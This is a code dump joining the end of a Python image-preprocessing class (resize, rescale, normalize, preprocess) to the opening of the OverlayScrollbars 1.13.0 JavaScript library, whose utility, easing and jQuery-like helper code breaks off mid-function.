**kwargs,
):
"""
Rescale an image by a scale factor. image = image * scale.
Args:
image (`np.ndarray`):
Image to rescale.
scale (`int` or `float`):
Scale to apply to the image.
data_format (`str` or `ChannelDimension`, *optional*):
The channel dimension format of the image. If not provided, it will be the same as the input image.
"""
return rescale(image, scale=scale, data_format=data_format, **kwargs)
def normalize(
self,
image: np.ndarray,
mean: Union[float, List[float]],
std: Union[float, List[float]],
data_format: Optional[Union[str, ChannelDimension]] = None,
**kwargs,
) -> np.ndarray:
"""
Normalize an image. image = (image - image_mean) / image_std.
Args:
image (`np.ndarray`):
Image to normalize.
mean (`float` or `List[float]`):
Image mean.
std (`float` or `List[float]`):
Image standard deviation.
data_format (`str` or `ChannelDimension`, *optional*):
The channel dimension format of the image. If not provided, it will be the same as the input image.
"""
return normalize(image, mean=mean, std=std, data_format=data_format, **kwargs)
def preprocess(
self,
images: ImageInput,
do_resize: Optional[bool] = None,
size: Optional[Dict[str, int]] = None,
resample: PILImageResampling = None,
do_rescale: Optional[bool] = None,
rescale_factor: Optional[float] = None,
do_normalize: Optional[bool] = None,
image_mean: Optional[Union[float, List[float]]] = None,
image_std: Optional[Union[float, List[float]]] = None,
return_tensors: Optional[Union[str, TensorType]] = None,
do_convert_rgb: bool = None,
data_format: ChannelDimension = ChannelDimension.FIRST,
**kwargs,
) -> PIL.Image.Image:
"""
Preprocess an image or batch of images.
Args:
images (`ImageInput`):
Image to preprocess.
do_resize (`bool`, *optional*, defaults to `self.do_resize`):
Whether to resize the image.
size (`Dict[str, int]`, *optional*, defaults to `self.size`):
Controls the size of the image after `resize`. The shortest edge of the image is resized to
`size["shortest_edge"]` whilst preserving the aspect ratio. If the longest edge of this resized image
is > `int(size["shortest_edge"] * (1333 / 800))`, then the image is resized again to make the longest
edge equal to `int(size["shortest_edge"] * (1333 / 800))`.
resample (`PILImageResampling`, *optional*, defaults to `self.resample`):
Resampling filter to use if resizing the image. Only has an effect if `do_resize` is set to `True`.
do_rescale (`bool`, *optional*, defaults to `self.do_rescale`):
Whether to rescale the image values between [0 - 1].
rescale_factor (`float`, *optional*, defaults to `self.rescale_factor`):
Rescale factor to rescale the image by if `do_rescale` is set to `True`.
do_normalize (`bool`, *optional*, defaults to `self.do_normalize`):
Whether to normalize the image.
image_mean (`float` or `List[float]`, *optional*, defaults to `self.image_mean`):
Image mean to normalize the image by if `do_normalize` is set to `True`.
image_std (`float` or `List[float]`, *optional*, defaults to `self.image_std`):
Image standard deviation to normalize the image by if `do_normalize` is set to `True`.
do_convert_rgb (`bool`, *optional*, defaults to `self.do_convert_rgb`):
Whether to convert the image to RGB.
return_tensors (`str` or `TensorType`, *optional*):
The type of tensors to return. Can be one of:
- Unset: Return a list of `np.ndarray`.
- `TensorType.TENSORFLOW` or `'tf'`: Return a batch of type `tf.Tensor`.
- `TensorType.PYTORCH` or `'pt'`: Return a batch of type `torch.Tensor`.
- `TensorType.NUMPY` or `'np'`: Return a batch of type `np.ndarray`.
- `TensorType.JAX` or `'jax'`: Return a batch of type `jax.numpy.ndarray`.
data_format (`ChannelDimension` or `str`, *optional*, defaults to `ChannelDimension.FIRST`):
The channel dimension format for the output image. Can be one of:
- `ChannelDimension.FIRST`: image in (num_channels, height, width) format.
- `ChannelDimension.LAST`: image in (height, width, num_channels) format.
"""
do_resize = do_resize if do_resize is not None else self.do_resize
resample = resample if resample is not None else self.resample
do_rescale = do_rescale if do_rescale is not None else self.do_rescale
rescale_factor = rescale_factor if rescale_factor is not None else self.rescale_factor
do_normalize = do_normalize if do_normalize is not None else self.do_normalize
image_mean = image_mean if image_mean is not None else self.image_mean
image_std = image_std if image_std is not None else self.image_std
do_convert_rgb = do_convert_rgb if do_convert_rgb is not None else self.do_convert_rgb
size = size if size is not None else self.size
size = get_size_dict(size, default_to_square=False)
images = make_list_of_images(images)
if not valid_images(images):
raise ValueError(
"Invalid image type. Must be of type PIL.Image.Image, numpy.ndarray, "
"torch.Tensor, tf.Tensor or jax.ndarray."
)
if do_resize and size is None or resample is None:
raise ValueError("Size and resample must be specified if do_resize is True.")
if do_rescale and rescale_factor is None:
raise ValueError("Rescale factor must be specified if do_rescale is True.")
if do_normalize and (image_mean is None or image_std is None):
raise ValueError("Image mean and std must be specified if do_normalize is True.")
# PIL RGBA images are converted to RGB
if do_convert_rgb:
images = [convert_to_rgb(image) for image in images]
# All transformations expect numpy arrays.
images = [to_numpy_array(image) for image in images]
if do_resize:
images = [self.resize(image=image, size=size, resample=resample) for image in images]
if do_rescale:
images = [self.rescale(image=image, scale=rescale_factor) for image in images]
if do_normalize:
images = [self.normalize(image=image, mean=image_mean, std=image_std) for image in images]
images = [to_channel_dimension_format(image, data_format) for image in images]
encoded_outputs = BatchFeature(data={"pixel_values": images}, tensor_type=return_tensors)
return encoded_outputs
|
2740908911/Pilot-Web | 362,663 | pilot-client/plugins/overlayScrollbars/js/OverlayScrollbars.js | /*!
* OverlayScrollbars
* https://github.com/KingSora/OverlayScrollbars
*
* Version: 1.13.0
*
* Copyright KingSora | Rene Haas.
* https://github.com/KingSora
*
* Released under the MIT license.
* Date: 02.08.2020
*/
(function (global, factory) {
if (typeof define === 'function' && define.amd)
define(function () { return factory(global, global.document, undefined); });
else if (typeof module === 'object' && typeof module.exports === 'object')
module.exports = factory(global, global.document, undefined);
else
factory(global, global.document, undefined);
}(typeof window !== 'undefined' ? window : this,
function (window, document, undefined) {
'use strict';
var PLUGINNAME = 'OverlayScrollbars';
var TYPES = {
o: 'object',
f: 'function',
a: 'array',
s: 'string',
b: 'boolean',
n: 'number',
u: 'undefined',
z: 'null'
//d : 'date',
//e : 'error',
//r : 'regexp',
//y : 'symbol'
};
var LEXICON = {
c: 'class',
s: 'style',
i: 'id',
l: 'length',
p: 'prototype',
ti: 'tabindex',
oH: 'offsetHeight',
cH: 'clientHeight',
sH: 'scrollHeight',
oW: 'offsetWidth',
cW: 'clientWidth',
sW: 'scrollWidth',
hOP: 'hasOwnProperty',
bCR: 'getBoundingClientRect'
};
var VENDORS = (function () {
//https://developer.mozilla.org/en-US/docs/Glossary/Vendor_Prefix
var jsCache = {};
var cssCache = {};
var cssPrefixes = ['-webkit-', '-moz-', '-o-', '-ms-'];
var jsPrefixes = ['WebKit', 'Moz', 'O', 'MS'];
function firstLetterToUpper(str) {
return str.charAt(0).toUpperCase() + str.slice(1);
}
return {
_cssPrefixes: cssPrefixes,
_jsPrefixes: jsPrefixes,
_cssProperty: function (name) {
var result = cssCache[name];
if (cssCache[LEXICON.hOP](name))
return result;
var uppercasedName = firstLetterToUpper(name);
var elmStyle = document.createElement('div')[LEXICON.s];
var resultPossibilities;
var i = 0;
var v;
var currVendorWithoutDashes;
for (; i < cssPrefixes.length; i++) {
currVendorWithoutDashes = cssPrefixes[i].replace(/-/g, '');
resultPossibilities = [
name, //transition
cssPrefixes[i] + name, //-webkit-transition
currVendorWithoutDashes + uppercasedName, //webkitTransition
firstLetterToUpper(currVendorWithoutDashes) + uppercasedName //WebkitTransition
];
for (v = 0; v < resultPossibilities[LEXICON.l]; v++) {
if (elmStyle[resultPossibilities[v]] !== undefined) {
result = resultPossibilities[v];
break;
}
}
}
cssCache[name] = result;
return result;
},
_cssPropertyValue: function (property, values, suffix) {
var name = property + ' ' + values;
var result = cssCache[name];
if (cssCache[LEXICON.hOP](name))
return result;
var dummyStyle = document.createElement('div')[LEXICON.s];
var possbleValues = values.split(' ');
var preparedSuffix = suffix || '';
var i = 0;
var v = -1;
var prop;
for (; i < possbleValues[LEXICON.l]; i++) {
for (; v < VENDORS._cssPrefixes[LEXICON.l]; v++) {
prop = v < 0 ? possbleValues[i] : VENDORS._cssPrefixes[v] + possbleValues[i];
dummyStyle.cssText = property + ':' + prop + preparedSuffix;
if (dummyStyle[LEXICON.l]) {
result = prop;
break;
}
}
}
cssCache[name] = result;
return result;
},
_jsAPI: function (name, isInterface, fallback) {
var i = 0;
var result = jsCache[name];
if (!jsCache[LEXICON.hOP](name)) {
result = window[name];
for (; i < jsPrefixes[LEXICON.l]; i++)
result = result || window[(isInterface ? jsPrefixes[i] : jsPrefixes[i].toLowerCase()) + firstLetterToUpper(name)];
jsCache[name] = result;
}
return result || fallback;
}
}
})();
var COMPATIBILITY = (function () {
function windowSize(x) {
return x ? window.innerWidth || document.documentElement[LEXICON.cW] || document.body[LEXICON.cW] : window.innerHeight || document.documentElement[LEXICON.cH] || document.body[LEXICON.cH];
}
function bind(func, thisObj) {
if (typeof func != TYPES.f) {
throw "Can't bind function!";
// closest thing possible to the ECMAScript 5
// internal IsCallable function
//throw new TypeError('Function.prototype.bind - what is trying to be bound is not callable');
}
var proto = LEXICON.p;
var aArgs = Array[proto].slice.call(arguments, 2);
var fNOP = function () { };
var fBound = function () { return func.apply(this instanceof fNOP ? this : thisObj, aArgs.concat(Array[proto].slice.call(arguments))); };
if (func[proto])
fNOP[proto] = func[proto]; // Function.prototype doesn't have a prototype property
fBound[proto] = new fNOP();
return fBound;
}
return {
/**
* Gets the current window width.
* @returns {Number|number} The current window width in pixel.
*/
wW: bind(windowSize, 0, true),
/**
* Gets the current window height.
* @returns {Number|number} The current window height in pixel.
*/
wH: bind(windowSize, 0),
/**
* Gets the MutationObserver Object or undefined if not supported.
* @returns {MutationObserver|*|undefined} The MutationsObserver Object or undefined.
*/
mO: bind(VENDORS._jsAPI, 0, 'MutationObserver', true),
/**
* Gets the ResizeObserver Object or undefined if not supported.
* @returns {MutationObserver|*|undefined} The ResizeObserver Object or undefined.
*/
rO: bind(VENDORS._jsAPI, 0, 'ResizeObserver', true),
/**
* Gets the RequestAnimationFrame method or it's corresponding polyfill.
* @returns {*|Function} The RequestAnimationFrame method or it's corresponding polyfill.
*/
rAF: bind(VENDORS._jsAPI, 0, 'requestAnimationFrame', false, function (func) { return window.setTimeout(func, 1000 / 60); }),
/**
* Gets the CancelAnimationFrame method or it's corresponding polyfill.
* @returns {*|Function} The CancelAnimationFrame method or it's corresponding polyfill.
*/
cAF: bind(VENDORS._jsAPI, 0, 'cancelAnimationFrame', false, function (id) { return window.clearTimeout(id); }),
/**
* Gets the current time.
* @returns {number} The current time.
*/
now: function () {
return Date.now && Date.now() || new Date().getTime();
},
/**
* Stops the propagation of the given event.
* @param event The event of which the propagation shall be stoped.
*/
stpP: function (event) {
if (event.stopPropagation)
event.stopPropagation();
else
event.cancelBubble = true;
},
/**
* Prevents the default action of the given event.
* @param event The event of which the default action shall be prevented.
*/
prvD: function (event) {
if (event.preventDefault && event.cancelable)
event.preventDefault();
else
event.returnValue = false;
},
/**
* Gets the pageX and pageY values of the given mouse event.
* @param event The mouse event of which the pageX and pageX shall be got.
* @returns {{x: number, y: number}} x = pageX value, y = pageY value.
*/
page: function (event) {
event = event.originalEvent || event;
var strPage = 'page';
var strClient = 'client';
var strX = 'X';
var strY = 'Y';
var target = event.target || event.srcElement || document;
var eventDoc = target.ownerDocument || document;
var doc = eventDoc.documentElement;
var body = eventDoc.body;
//if touch event return return pageX/Y of it
if (event.touches !== undefined) {
var touch = event.touches[0];
return {
x: touch[strPage + strX],
y: touch[strPage + strY]
}
}
// Calculate pageX/Y if not native supported
if (!event[strPage + strX] && event[strClient + strX] && event[strClient + strX] != null) {
return {
x: event[strClient + strX] +
(doc && doc.scrollLeft || body && body.scrollLeft || 0) -
(doc && doc.clientLeft || body && body.clientLeft || 0),
y: event[strClient + strY] +
(doc && doc.scrollTop || body && body.scrollTop || 0) -
(doc && doc.clientTop || body && body.clientTop || 0)
}
}
return {
x: event[strPage + strX],
y: event[strPage + strY]
};
},
/**
* Gets the clicked mouse button of the given mouse event.
* @param event The mouse event of which the clicked button shal be got.
* @returns {number} The number of the clicked mouse button. (0 : none | 1 : leftButton | 2 : middleButton | 3 : rightButton)
*/
mBtn: function (event) {
var button = event.button;
if (!event.which && button !== undefined)
return (button & 1 ? 1 : (button & 2 ? 3 : (button & 4 ? 2 : 0)));
else
return event.which;
},
/**
* Checks whether a item is in the given array and returns its index.
* @param item The item of which the position in the array shall be determined.
* @param arr The array.
* @returns {number} The zero based index of the item or -1 if the item isn't in the array.
*/
inA: function (item, arr) {
for (var i = 0; i < arr[LEXICON.l]; i++)
//Sometiems in IE a "SCRIPT70" Permission denied error occurs if HTML elements in a iFrame are compared
try {
if (arr[i] === item)
return i;
}
catch (e) { }
return -1;
},
/**
* Returns true if the given value is a array.
* @param arr The potential array.
* @returns {boolean} True if the given value is a array, false otherwise.
*/
isA: function (arr) {
var def = Array.isArray;
return def ? def(arr) : this.type(arr) == TYPES.a;
},
/**
* Determine the internal JavaScript [[Class]] of the given object.
* @param obj The object of which the type shall be determined.
* @returns {string} The type of the given object.
*/
type: function (obj) {
if (obj === undefined)
return obj + '';
if (obj === null)
return obj + '';
return Object[LEXICON.p].toString.call(obj).replace(/^\[object (.+)\]$/, '$1').toLowerCase();
},
bind: bind
/**
* Gets the vendor-prefixed CSS property by the given name.
* For example the given name is "transform" and you're using a old Firefox browser then the returned value would be "-moz-transform".
* If the browser doesn't need a vendor-prefix, then the returned string is the given name.
* If the browser doesn't support the given property name at all (not even with a vendor-prefix) the returned value is null.
* @param propName The unprefixed CSS property name.
* @returns {string|null} The vendor-prefixed CSS property or null if the browser doesn't support the given CSS property.
cssProp: function(propName) {
return VENDORS._cssProperty(propName);
}
*/
}
})();
var MATH = Math;
var JQUERY = window.jQuery;
var EASING = (function () {
var _easingsMath = {
p: MATH.PI,
c: MATH.cos,
s: MATH.sin,
w: MATH.pow,
t: MATH.sqrt,
n: MATH.asin,
a: MATH.abs,
o: 1.70158
};
/*
x : current percent (0 - 1),
t : current time (duration * percent),
b : start value (from),
c : end value (to),
d : duration
easingName : function(x, t, b, c, d) { return easedValue; }
*/
return {
swing: function (x, t, b, c, d) {
return 0.5 - _easingsMath.c(x * _easingsMath.p) / 2;
},
linear: function (x, t, b, c, d) {
return x;
},
easeInQuad: function (x, t, b, c, d) {
return c * (t /= d) * t + b;
},
easeOutQuad: function (x, t, b, c, d) {
return -c * (t /= d) * (t - 2) + b;
},
easeInOutQuad: function (x, t, b, c, d) {
return ((t /= d / 2) < 1) ? c / 2 * t * t + b : -c / 2 * ((--t) * (t - 2) - 1) + b;
},
easeInCubic: function (x, t, b, c, d) {
return c * (t /= d) * t * t + b;
},
easeOutCubic: function (x, t, b, c, d) {
return c * ((t = t / d - 1) * t * t + 1) + b;
},
easeInOutCubic: function (x, t, b, c, d) {
return ((t /= d / 2) < 1) ? c / 2 * t * t * t + b : c / 2 * ((t -= 2) * t * t + 2) + b;
},
easeInQuart: function (x, t, b, c, d) {
return c * (t /= d) * t * t * t + b;
},
easeOutQuart: function (x, t, b, c, d) {
return -c * ((t = t / d - 1) * t * t * t - 1) + b;
},
easeInOutQuart: function (x, t, b, c, d) {
return ((t /= d / 2) < 1) ? c / 2 * t * t * t * t + b : -c / 2 * ((t -= 2) * t * t * t - 2) + b;
},
easeInQuint: function (x, t, b, c, d) {
return c * (t /= d) * t * t * t * t + b;
},
easeOutQuint: function (x, t, b, c, d) {
return c * ((t = t / d - 1) * t * t * t * t + 1) + b;
},
easeInOutQuint: function (x, t, b, c, d) {
return ((t /= d / 2) < 1) ? c / 2 * t * t * t * t * t + b : c / 2 * ((t -= 2) * t * t * t * t + 2) + b;
},
easeInSine: function (x, t, b, c, d) {
return -c * _easingsMath.c(t / d * (_easingsMath.p / 2)) + c + b;
},
easeOutSine: function (x, t, b, c, d) {
return c * _easingsMath.s(t / d * (_easingsMath.p / 2)) + b;
},
easeInOutSine: function (x, t, b, c, d) {
return -c / 2 * (_easingsMath.c(_easingsMath.p * t / d) - 1) + b;
},
easeInExpo: function (x, t, b, c, d) {
return (t == 0) ? b : c * _easingsMath.w(2, 10 * (t / d - 1)) + b;
},
easeOutExpo: function (x, t, b, c, d) {
return (t == d) ? b + c : c * (-_easingsMath.w(2, -10 * t / d) + 1) + b;
},
easeInOutExpo: function (x, t, b, c, d) {
if (t == 0) return b;
if (t == d) return b + c;
if ((t /= d / 2) < 1) return c / 2 * _easingsMath.w(2, 10 * (t - 1)) + b;
return c / 2 * (-_easingsMath.w(2, -10 * --t) + 2) + b;
},
easeInCirc: function (x, t, b, c, d) {
return -c * (_easingsMath.t(1 - (t /= d) * t) - 1) + b;
},
easeOutCirc: function (x, t, b, c, d) {
return c * _easingsMath.t(1 - (t = t / d - 1) * t) + b;
},
easeInOutCirc: function (x, t, b, c, d) {
return ((t /= d / 2) < 1) ? -c / 2 * (_easingsMath.t(1 - t * t) - 1) + b : c / 2 * (_easingsMath.t(1 - (t -= 2) * t) + 1) + b;
},
easeInElastic: function (x, t, b, c, d) {
var s = _easingsMath.o; var p = 0; var a = c;
if (t == 0) return b; if ((t /= d) == 1) return b + c; if (!p) p = d * .3;
if (a < _easingsMath.a(c)) { a = c; s = p / 4; }
else s = p / (2 * _easingsMath.p) * _easingsMath.n(c / a);
return -(a * _easingsMath.w(2, 10 * (t -= 1)) * _easingsMath.s((t * d - s) * (2 * _easingsMath.p) / p)) + b;
},
easeOutElastic: function (x, t, b, c, d) {
var s = _easingsMath.o; var p = 0; var a = c;
if (t == 0) return b;
if ((t /= d) == 1) return b + c;
if (!p) p = d * .3;
if (a < _easingsMath.a(c)) { a = c; s = p / 4; }
else s = p / (2 * _easingsMath.p) * _easingsMath.n(c / a);
return a * _easingsMath.w(2, -10 * t) * _easingsMath.s((t * d - s) * (2 * _easingsMath.p) / p) + c + b;
},
easeInOutElastic: function (x, t, b, c, d) {
var s = _easingsMath.o; var p = 0; var a = c;
if (t == 0) return b;
if ((t /= d / 2) == 2) return b + c;
if (!p) p = d * (.3 * 1.5);
if (a < _easingsMath.a(c)) { a = c; s = p / 4; }
else s = p / (2 * _easingsMath.p) * _easingsMath.n(c / a);
if (t < 1) return -.5 * (a * _easingsMath.w(2, 10 * (t -= 1)) * _easingsMath.s((t * d - s) * (2 * _easingsMath.p) / p)) + b;
return a * _easingsMath.w(2, -10 * (t -= 1)) * _easingsMath.s((t * d - s) * (2 * _easingsMath.p) / p) * .5 + c + b;
},
easeInBack: function (x, t, b, c, d, s) {
s = s || _easingsMath.o;
return c * (t /= d) * t * ((s + 1) * t - s) + b;
},
easeOutBack: function (x, t, b, c, d, s) {
s = s || _easingsMath.o;
return c * ((t = t / d - 1) * t * ((s + 1) * t + s) + 1) + b;
},
easeInOutBack: function (x, t, b, c, d, s) {
s = s || _easingsMath.o;
return ((t /= d / 2) < 1) ? c / 2 * (t * t * (((s *= (1.525)) + 1) * t - s)) + b : c / 2 * ((t -= 2) * t * (((s *= (1.525)) + 1) * t + s) + 2) + b;
},
easeInBounce: function (x, t, b, c, d) {
return c - this.easeOutBounce(x, d - t, 0, c, d) + b;
},
easeOutBounce: function (x, t, b, c, d) {
var o = 7.5625;
if ((t /= d) < (1 / 2.75)) {
return c * (o * t * t) + b;
} else if (t < (2 / 2.75)) {
return c * (o * (t -= (1.5 / 2.75)) * t + .75) + b;
} else if (t < (2.5 / 2.75)) {
return c * (o * (t -= (2.25 / 2.75)) * t + .9375) + b;
} else {
return c * (o * (t -= (2.625 / 2.75)) * t + .984375) + b;
}
},
easeInOutBounce: function (x, t, b, c, d) {
return (t < d / 2) ? this.easeInBounce(x, t * 2, 0, c, d) * .5 + b : this.easeOutBounce(x, t * 2 - d, 0, c, d) * .5 + c * .5 + b;
}
};
/*
*
* TERMS OF USE - EASING EQUATIONS
*
* Open source under the BSD License.
*
* Copyright © 2001 Robert Penner
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without modification,
* are permitted provided that the following conditions are met:
*
* Redistributions of source code must retain the above copyright notice, this list of
* conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice, this list
* of conditions and the following disclaimer in the documentation and/or other materials
* provided with the distribution.
*
* Neither the name of the author nor the names of contributors may be used to endorse
* or promote products derived from this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY
* EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
* COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE
* GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED
* AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
* NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
* OF THE POSSIBILITY OF SUCH DAMAGE.
*
*/
})();
var FRAMEWORK = (function () {
var _rnothtmlwhite = (/[^\x20\t\r\n\f]+/g);
var _strSpace = ' ';
var _strEmpty = '';
var _strScrollLeft = 'scrollLeft';
var _strScrollTop = 'scrollTop';
var _animations = [];
var _type = COMPATIBILITY.type;
var _cssNumber = {
animationIterationCount: true,
columnCount: true,
fillOpacity: true,
flexGrow: true,
flexShrink: true,
fontWeight: true,
lineHeight: true,
opacity: true,
order: true,
orphans: true,
widows: true,
zIndex: true,
zoom: true
};
function extend() {
var src, copyIsArray, copy, name, options, clone, target = arguments[0] || {},
i = 1,
length = arguments[LEXICON.l],
deep = false;
// Handle a deep copy situation
if (_type(target) == TYPES.b) {
deep = target;
target = arguments[1] || {};
// skip the boolean and the target
i = 2;
}
// Handle case when target is a string or something (possible in deep copy)
if (_type(target) != TYPES.o && !_type(target) == TYPES.f) {
target = {};
}
// extend jQuery itself if only one argument is passed
if (length === i) {
target = FakejQuery;
--i;
}
for (; i < length; i++) {
// Only deal with non-null/undefined values
if ((options = arguments[i]) != null) {
// Extend the base object
for (name in options) {
src = target[name];
copy = options[name];
// Prevent never-ending loop
if (target === copy) {
continue;
}
// Recurse if we're merging plain objects or arrays
if (deep && copy && (isPlainObject(copy) || (copyIsArray = COMPATIBILITY.isA(copy)))) {
if (copyIsArray) {
copyIsArray = false;
clone = src && COMPATIBILITY.isA(src) ? src : [];
} else {
clone = src && isPlainObject(src) ? src : {};
}
// Never move original objects, clone them
target[name] = extend(deep, clone, copy);
// Don't bring in undefined values
} else if (copy !== undefined) {
target[name] = copy;
}
}
}
}
// Return the modified object
return target;
};
function inArray(item, arr, fromIndex) {
for (var i = fromIndex || 0; i < arr[LEXICON.l]; i++)
if (arr[i] === item)
return i;
return -1;
}
function isFunction(obj) {
return _type(obj) == TYPES.f;
};
function isEmptyObject(obj) {
for (var name in obj)
return false;
return true;
};
function isPlainObject(obj) {
if (!obj || _type(obj) != TYPES.o)
return false;
var key;
var proto = LEXICON.p;
var hasOwnProperty = Object[proto].hasOwnProperty;
var hasOwnConstructor = hasOwnProperty.call(obj, 'constructor');
var hasIsPrototypeOf = obj.constructor && obj.constructor[proto] && hasOwnProperty.call(obj.constructor[proto], 'isPrototypeOf');
if (obj.constructor && !hasOwnConstructor && !hasIsPrototypeOf) {
return false;
}
for (key in obj) { /**/ }
return _type(key) == TYPES.u || hasOwnProperty.call(obj, key);
};
function each(obj, callback) {
var i = 0;
if (isArrayLike(obj)) {
for (; i < obj[LEXICON.l]; i++) {
if (callback.call(obj[i], i, obj[i]) === false)
break;
}
}
else {
for (i in obj) {
if (callback.call(obj[i], i, obj[i]) === false)
break;
}
}
return obj;
};
function isArrayLike(obj) {
var length = !!obj && [LEXICON.l] in obj && obj[LEXICON.l];
var t = _type(obj);
return isFunction(t) ? false : (t == TYPES.a || length === 0 || _type(length) == TYPES.n && length > 0 && (length - 1) in obj);
}
function stripAndCollapse(value) {
var tokens = value.match(_rnothtmlwhite) || [];
return tokens.join(_strSpace);
}
function matches(elem, selector) {
var nodeList = (elem.parentNode || document).querySelectorAll(selector) || [];
var i = nodeList[LEXICON.l];
while (i--)
if (nodeList[i] == elem)
return true;
return false;
}
function insertAdjacentElement(el, strategy, child) {
if (COMPATIBILITY.isA(child)) {
for (var i = 0; i < child[LEXICON.l]; i++)
insertAdjacentElement(el, strategy, child[i]);
}
else if (_type(child) == TYPES.s)
el.insertAdjacentHTML(strategy, child);
else
el.insertAdjacentElement(strategy, child.nodeType ? child : child[0]);
}
function setCSSVal(el, prop, val) {
try {
if (el[LEXICON.s][prop] !== undefined)
el[LEXICON.s][prop] = parseCSSVal(prop, val);
} catch (e) { }
}
function parseCSSVal(prop, val) {
if (!_cssNumber[prop.toLowerCase()] && _type(val) == TYPES.n)
val += 'px';
return val;
}
function startNextAnimationInQ(animObj, removeFromQ) {
var index;
var nextAnim;
if (removeFromQ !== false)
animObj.q.splice(0, 1);
if (animObj.q[LEXICON.l] > 0) {
nextAnim = animObj.q[0];
animate(animObj.el, nextAnim.props, nextAnim.duration, nextAnim.easing, nextAnim.complete, true);
}
else {
index = inArray(animObj, _animations);
if (index > -1)
_animations.splice(index, 1);
}
}
function setAnimationValue(el, prop, value) {
if (prop === _strScrollLeft || prop === _strScrollTop)
el[prop] = value;
else
setCSSVal(el, prop, value);
}
function animate(el, props, options, easing, complete, guaranteedNext) {
var hasOptions = isPlainObject(options);
var from = {};
var to = {};
var i = 0;
var key;
var animObj;
var start;
var progress;
var step;
var specialEasing;
var duration;
if (hasOptions) {
easing = options.easing;
start = options.start;
progress = options.progress;
step = options.step;
specialEasing = options.specialEasing;
complete = options.complete;
duration = options.duration;
}
else
duration = options;
specialEasing = specialEasing || {};
duration = duration || 400;
easing = easing || 'swing';
guaranteedNext = guaranteedNext || false;
for (; i < _animations[LEXICON.l]; i++) {
if (_animations[i].el === el) {
animObj = _animations[i];
break;
}
}
if (!animObj) {
animObj = {
el: el,
q: []
};
_animations.push(animObj);
}
for (key in props) {
if (key === _strScrollLeft || key === _strScrollTop)
from[key] = el[key];
else
from[key] = FakejQuery(el).css(key);
}
for (key in from) {
if (from[key] !== props[key] && props[key] !== undefined)
to[key] = props[key];
}
if (!isEmptyObject(to)) {
var timeNow;
var end;
var percent;
var fromVal;
var toVal;
var easedVal;
var timeStart;
var frame;
var elapsed;
var qPos = guaranteedNext ? 0 : inArray(qObj, animObj.q);
var qObj = {
props: to,
duration: hasOptions ? options : duration,
easing: easing,
complete: complete
};
if (qPos === -1) {
qPos = animObj.q[LEXICON.l];
animObj.q.push(qObj);
}
if (qPos === 0) {
if (duration > 0) {
timeStart = COMPATIBILITY.now();
frame = function () {
timeNow = COMPATIBILITY.now();
elapsed = (timeNow - timeStart);
end = qObj.stop || elapsed >= duration;
percent = 1 - ((MATH.max(0, timeStart + duration - timeNow) / duration) || 0);
for (key in to) {
fromVal = parseFloat(from[key]);
toVal = parseFloat(to[key]);
easedVal = (toVal - fromVal) * EASING[specialEasing[key] || easing](percent, percent * duration, 0, 1, duration) + fromVal;
setAnimationValue(el, key, easedVal);
if (isFunction(step)) {
step(easedVal, {
elem: el,
prop: key,
start: fromVal,
now: easedVal,
end: toVal,
pos: percent,
options: {
easing: easing,
speacialEasing: specialEasing,
duration: duration,
complete: complete,
step: step
},
startTime: timeStart
});
}
}
if (isFunction(progress))
progress({}, percent, MATH.max(0, duration - elapsed));
if (end) {
startNextAnimationInQ(animObj);
if (isFunction(complete))
complete();
}
else
qObj.frame = COMPATIBILITY.rAF()(frame);
};
qObj.frame = COMPATIBILITY.rAF()(frame);
}
else {
for (key in to)
setAnimationValue(el, key, to[key]);
startNextAnimationInQ(animObj);
}
}
}
else if (guaranteedNext)
startNextAnimationInQ(animObj);
}
function stop(el, clearQ, jumpToEnd) {
var animObj;
var qObj;
var key;
var i = 0;
for (; i < _animations[LEXICON.l]; i++) {
animObj = _animations[i];
if (animObj.el === el) {
if (animObj.q[LEXICON.l] > 0) {
qObj = animObj.q[0];
qObj.stop = true;
COMPATIBILITY.cAF()(qObj.frame);
animObj.q.splice(0, 1);
if (jumpToEnd)
for (key in qObj.props)
setAnimationValue(el, key, qObj.props[key]);
if (clearQ)
animObj.q = [];
else
startNextAnimationInQ(animObj, false);
}
break;
}
}
}
function elementIsVisible(el) {
return !!(el[LEXICON.oW] || el[LEXICON.oH] || el.getClientRects()[LEXICON.l]);
}
function FakejQuery(selector) {
if (arguments[LEXICON.l] === 0)
return this;
var base = new FakejQuery();
var elements = selector;
var i = 0;
var elms;
var el;
if (_type(selector) == TYPES.s) {
elements = [];
if (selector.charAt(0) === '<') {
el = document.createElement('div');
el.innerHTML = selector;
elms = el.children;
}
else {
elms = document.querySelectorAll(selector);
}
for (; i < elms[LEXICON.l]; i++)
elements.push(elms[i]);
}
if (elements) {
if (_type(elements) != TYPES.s && (!isArrayLike(elements) || elements === window || elements === elements.self))
elements = [elements];
for (i = 0; i < elements[LEXICON.l]; i++)
base[i] = elements[i];
base[LEXICON.l] = elements[LEXICON.l];
}
return base;
};
FakejQuery[LEXICON.p] = {
//EVENTS:
on: function (eventName, handler) {
eventName = (eventName || _strEmpty).match(_rnothtmlwhite) || [_strEmpty];
var eventNameLength = eventName[LEXICON.l];
var i = 0;
var el;
return this.each(function () {
el = this;
try {
if (el.addEventListener) {
for (; i < eventNameLength; i++)
el.addEventListener(eventName[i], handler);
}
else if (el.detachEvent) {
for (; i < eventNameLength; i++)
el.attachEvent('on' + eventName[i], handler);
}
} catch (e) { }
});
},
off: function (eventName, handler) {
eventName = (eventName || _strEmpty).match(_rnothtmlwhite) || [_strEmpty];
var eventNameLength = eventName[LEXICON.l];
var i = 0;
var el;
return this.each(function () {
el = this;
try {
if (el.removeEventListener) {
for (; i < eventNameLength; i++)
